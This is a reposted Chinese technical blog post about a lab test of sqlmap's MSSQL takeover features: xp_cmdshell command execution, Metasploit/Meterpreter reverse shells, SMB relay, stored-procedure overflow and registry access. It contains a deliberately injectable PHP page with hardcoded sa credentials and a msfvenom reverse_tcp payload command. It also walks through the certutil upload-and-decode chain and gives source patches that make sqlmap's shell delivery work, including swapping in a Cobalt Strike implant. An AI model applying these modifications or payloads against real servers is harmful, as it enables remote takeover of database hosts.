zoukankan      html  css  js  c++  java
  • sqlmap关于MSSQL执行命令研究

    0x00 环境概述

    环境说明:

    • Windows 2003 + MSSQL + PHP5.2.17 (注意刷新缓存 --flush-session)

    • 关闭GPC

    • 构造SQL注入:

    <?php
    $id = $_GET['id'];
    $con = mssql_connect('127.0.0.1','sa','server2005');
    if(!$con){
    	echo "Erroe";
    }
    else{
    	echo "Connect OK.</br>";
    }
    mssql_select_db('sqlmap_test');
    # $sql = "exec master..xp_cmdshell 'whoami'";
    
    $sql = "select id,name from admin where id=".$id;
    
    $result = mssql_query($sql);
    /* $row = mssql_fetch_array($result);
    echo $row[0]; */
    
    while($list=mssql_fetch_array($result))
     {
        print_r($list);
        echo "<br>";
     }
    }
    

    0x01 测试sqlmap命令

    --os-shell
    --sql-shell
    --os-pwn
    --os-smbrelay
    --os-bof
    --reg-[read/add/del]
    

    --os-shell

    该参数主要是调用xp_cmdshell执行系统命令。

    • 执行--os-shell,之后直接在数据库中查看,发现已启用xp_cmdshell。发现能执行命令,但是sqlmap无返回值。只能通过DNS外带。。。

    3f167e2d090eb55b73f0638b18b01270.png

    --sql-shell

    主要用于是执行数据库语句。

    • 使用--sql-shell,测试能否通过sql-shell手动开启xp_cmdshell。结果发现无法开启xp_cmdshell。手动开启xp_cmdshell后,sql-shell可以执行命令,sqlmap无返回值。

    a7e7fcf88f0745a3b087528650b500ae.png

    --os-pwn

    获取OOBshell、MSF shell、VNC。。。

    • --os-pwn获取OOB shell、Meterpreter或VNC。在默认关闭xp_cmdshell情况下,该参数无法开启xp_cmdshell

    手动开启xp_cmdshell以后,使用sqlmap参数:--os-pwn --msf-path /opt/msf/,会先上传一个paylaod。查看SQLAMP上传文件的方式一共有4种:PowerShell,Debug,Vbs脚本,Certutil。如果第一种方式失败会提示下一种方式,我这里测试所有的通信方式以及payload,均失败。。。

    871d76f3f16ede16a15f615a7526f220.png

    --os-smbrelay

    一次单击提示输入OOB shell、Meterpreter或VNC。该参数提供了五种连接方式,三种payload类型,两个SMB端口。其原理就是调用MSF的windows/smb/smb_relay模块。。。

    which connection type do you want to use?
    [1] Reverse TCP: Connect back from the database host to this machine (default)
    [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
    [3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
    [4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
    [5] Bind TCP: Listen on the database host for a connection
    >
    what is the local address? [Enter for '192.168.90.17' (detected)]
    which local port number do you want to use? [7545]
    which payload do you want to use?
    [1] Meterpreter (default)
    [2] Shell
    [3] VNC
    >
    which SMB port do you want to use?
    [1] 139/TCP
    [2] 445/TCP (default)
    

    8420744fd6408fb229ac0347b5672b8b.png

    --os-bof

    存储过程缓冲区溢出利用。参数提供了五种连接方式,三种payload,十二种payload编码方式。

    经过测试还是失败的。。。

    --reg-[read/add/del]

    • 读取/添加/修改注册表,会上传.bat文件,文件上传成功,但是并未接受到读取的值..

    8ca976f68800460c8d9f976af1cd60fc.png

    0x02 反思

    经过以上测试(关闭GPC下),肯定是有很多疑问的,这里列举一下:

    为什么--os-shell执行命令后sqlmap无返回值?
    为什么--os-pwn参数上传文件失败?
    为什么--os-bof利用存储过程缓冲区溢出也失败?
    为什么读取注册表时候文件上传了而sqlmap无法获取到?
    

    命令执行反思

    经过以上测试,为什么无法执行命令呢?这里再来复述一遍,找一下为什么这样。

    • 首先确定一下:多语句执行,也即是堆叠注入时候的返回值。只返回了第一个查询id=1的内容。

    9dccad75460a231c008d197c53380e4b.png

    • 查看直接在数据库执行时的返回,返回了两条结果。

    e1cff343369d13cb43ff796ce47b53cb.png

    • 查看源代码,修改/sqlmap/1.4.4/libexec/lib/request/inject.py文件goStacked函数最后一行,输出sqlmap最终执行的payload并测试该paylaod直接在数据库执行时状态。结果发现,数据库执行的语句。发现报错了,无法插入数据,因为列不允许有空值。(--os-shell时候会创建表sqlmapoutput,该表有两个字段id, data)

    f8fa401c77afcdc5fa6d1500964e1783.png
    cf7b4f82a86242fa6555659b5aac2b64.png

    • 查看表sqlmapoutput,发现字段不允许为空。

    176f71f68d83b26335d25fd102175060.png

    仔细观察上面测试,会发现问题:

    -- 第一个问题:sqlmap创建的表填充字段时,字段内容不允许为空。
    -- 第二个问题:多语句查询时,返回两条结果,而第二条结果包含两个字段内容。
    --	比如:	
    		select name from admin where id =1;EXEC master..xp_cmdshell whoami
    		结果:
              zhangsan
              nt authoritysystem
              NULL
    

    那么问题来了,是不是这样呢?测试:修改sqlmapoutput表的data字段,将其设置为允许为空:

    b9bf5f072cc88bb52ce0cafa2c5864be.png

    发现成功写入。。。

    于是利用Sublime全局搜索CREATE TABLE找到MSSQL创建表的语句,将其设置为字段允许为空即可。

    # /sqlmap/1.4.4/libexec/plugins/generic/misc.py    124行,创建表时字段名后加一个NULL
    

    ecab9f56a1f2c4fede66bd6e34a89ae4.png

    再来测试:

    791de28964ee5df9fc736cd069a21c0e.png

    到这里已经可以正确的执行--os-shell等。

    注册表操作反思

    • 根据命令执行反思,修改之后,发现读取注册表时候报错。

    01ec5189c2303e4cdd089126cd9e5570.png

    • 直接在数据库中执行会因路径中存在空格而报错。

    38f84bcee6284d9492b95e1a1ebeffa9.png

    那么这里就有思路了,将payload上传到其不含有空格或特殊字符的文件夹。(首先尝试PS写.bat,不成功使用VB,因为我03没有PS,所以是VB)

    # 修改上传路径:
    #	全局搜索字符串:.bat
    #	/sqlmap/1.4.4/libexec/lib/takeover/registry.py   27行 注释掉原本语句,改为如下
            self._randStr = randomStr(lowercase=True)
            # self._batPathRemote = ""%s/tmpr%s.bat"" % (conf.tmpPath, self._randStr)
            self._batPathRemote = "%s/tmpr%s.bat" % ("C:/Windows", self._randStr)
    

    30df1b79a797082dc40e1284e6799d56.png

    联动MSF反思

    首先跟踪代码,查看sqlmap调用MSF过程:

    /Users/lnx/Desktop/1.4.4/libexec/plugins/generic/takeover.pyosPwn函数开始

    第一步:首先测试xp_cmdshell是否开启
    
    第二步:/sqlmap/1.4.4/libexec/plugins/generic/takeover.py osPwn函数调用MSF生成RAW格式shellcode
    文件/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py中函数createMsfShellcode生成shellcode
    /opt/metasploit-framework/bin/msfvenom -p windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=21453 LHOST=192.168.90.17 -a x86 -e x86/alpha_mixed -f raw BufferRegister=EAX > "/Users/lnx/.sqlmap/output/192.168.90.14/tmpmydff"
    
    第三步:文件/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py 617行 函数createMsfShellcode又以字节的格式读取生成的文件。
            self._shellcodeFP = open(self._shellcodeFilePath, "rb")
            self.shellcodeString = getText(self._shellcodeFP.read())
            self._shellcodeFP.close()
    
    第四步:上传,上传又分为三步
    1、首先是调用/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py 函数uploadShellcodeexec
    处理,得到最终上传的payload路径和计划上传到服务器的路径:
    /var/folders/xx/6jy_czp97nl76bslj74817d40000gn/T/sqlmapCazl8M8626/tmpKjHjBr32_.exe(最终)
    C:/Program Files/Microsoft SQL Server/MSSQL.1/MSSQL/LOG/tmpsecwjq.exe(目标服务)
    2、函数uploadShellcodeexec调用/sqlmap/1.4.4/libexec/plugins/generic/filesystem.py 函数writeFile实现文件上传
    3、函数writeFile调用/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 函数stackedWriteFile 尝试使用ps、vbs、debug、certutil进行文件上传(我这里是certutil)
    4、函数stackedWriteFile在上传时调用了当前文件内的函数_stackedWriteFileCertutilExe进行上传。
    	函数_stackedWriteFileCertutilExe:
        首先读取之前处理好的payload.exe(最终的exe)进行Base64编码;
        然后将其写入到目标机的txt文件中;
        之后调用certutil进行解码txt文件输出exe文件,然后执行;
        最后删除txt文件。
    

    ef626ce74e6211ef847461c4d5881645.png
    c89facacf310ff3eacbd659e5b1820cc.png

    这里就是无法收到MSF反弹,直接在CMD中执行命令,发现由于路径空格问题无法成功解码成exe。。。

    终于找到问题所在了。

    dd5fca848f8c91f06a235fb8ec7110b1.png

    那么来修改一下,第一种是利用引号将路径扩起来,第二种是修改文件上传的路径。

    这里使用第一种。

    # /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py   376行,添加双引号
           commands = ( 
                "cd "%s"" % tmpPath,
                "certutil -f -decode %s "%s"" % (randFile, remoteFile),
                "del /F /Q %s" % randFile
            )
    

    修改sqlmap解码payload的参数,让其正确识别路径即可。

    465f7daf11ba7c41e9ca0888a7021c49.png

    那么尝试加载Cobalt Strike呢?

    经过测试,CS生成的RAW格式shellcode替换掉sqlmap调用MSF生成的Raw格式(/Users/lnx/Desktop/1.4.4/libexec/lib/takeover/metasploit.py617行左右。),无法成功反弹。(未仔细分析生成shellcode后,sqlmap对其处理的逻辑。)

    那么直接替换最终上传的exe文件。

    • 替换exe,有必要的话可以直接input,接受输入。
    # 文件/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 393行左右,读文件
    # 将localFile替换成CS的exe马,即可,我这里是默认的,没有指定x64,指定了x64不上线。。
    	      # localFile = "/Users/lnx/Desktop/test.exe"
            with open(localFile, "rb") as f:
                localFileContent = f.read()
    

    099cc80142c56cacb14076a64796837c.png

    这里思路已经给出,可以直接修改sqlmap代码,将payload改成上传powershell或则其他类型payload,以以适用于高版本的操作系统。

    存储过程缓冲区溢出反思

    参数:--os-bof

    只针对03 的,不过我这里一次都没成功。/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/takeover.py文件中可以看到具体的代码。

    • 首先调用msfvenom生成Raw格式payload然后/Users/lnx/Desktop/1.4.4/libexec/lib/takeover/metasploit.py再617行,以rb读取得到shellcodestring
    • 再经过/Users/lnx/Desktop/1.4.4/libexec/plugins/dbms/mssqlserver/takeover.py70行前后代码处理得到最终的代码。。。然后发送带有Payload的HTTP请求。。。(这里不附录payload,太长了,可以去改文件输出,看一下。)

    这里复制最终的代码,直接在数据库中执行,发现服务器堆栈溢出。。。。。没有接受到反弹。。

    2d38458c820e78d12013ed62a3cd6e21.png

    因为菜,暂未找到好办法。。。

    0x03 总结

    经过以上测试,还是有点收获的,毕竟能够执行命令了,而且知道了sqlmap无法通过MSSQL执行的原因以及修复方式。

    命令执行--os-shell

    成因:

    第一个问题:sqlmap创建的表填充字段时,字段内容不允许为空。
    第二个问题:多语句查询时,返回两条结果,而第二条结果包含两个字段内容。
    

    修复:

    修改所有关于MSSQL创建表时字段属性,添加NULL

    # /sqlmap/1.4.4/libexec/plugins/generic/misc.py    124行,创建表时字段名后加一个NULL
    # 如下:
    def createSupportTbl(self, tblName, tblField, tblType):
            inject.goStacked("DROP TABLE %s" % tblName, silent=True)
    
            if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName:
                inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s NULL)" % (tblName, tblField, tblType))
    
            else:
                inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
                
    # /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py  96行
    self.createSupportTbl(txtTbl, self.tblField, "text")
            inject.goStacked("DROP TABLE %s" % hexTbl)
            inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s NULL)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
    

    注册表 --reg-[]

    成因:

    sqlmap无法读取注册表是因为路径中包含空格,导致参数被截断。
    

    修复:

    # 修改上传路径:
    #	全局搜索字符串:.bat
    #	/sqlmap/1.4.4/libexec/lib/takeover/registry.py   27行 注释掉原本语句,改为如下
            self._randStr = randomStr(lowercase=True)
            # self._batPathRemote = ""%s/tmpr%s.bat"" % (conf.tmpPath, self._randStr)
            self._batPathRemote = "%s/tmpr%s.bat" % ("C:/Windows", self._randStr)
    

    MSF&CS联动

    成因:

    payload成功上传,但是解码时候,路径出现空格截断,导致命令错误。
    

    修复:

    # /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py   376行,添加双引号
           commands = ( 
                "cd "%s"" % tmpPath,
                "certutil -f -decode %s "%s"" % (randFile, remoteFile),
                "del /F /Q %s" % randFile
            )
    
  • 相关阅读:
    oracle中number数据类型简单明了解释
    计算机专业课程体系介绍(含学习顺序)
    浮点数的二进制表示
    C语言中为什么float型数据的范围是3.4E-38~3.4E+38
    C语言学习笔记
    近期学习计划
    二进制、八进制、十进制、十六进制之间转换
    MySQL 字段值为NULL,PHP用json转换,传给js,显示null
    写出float x 与“零值”比较的if语句——一道面试题分析
    BOOL,int,float,指针变量 与“零值”比较的if语句
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/15061725.html
Copyright © 2011-2022 走看看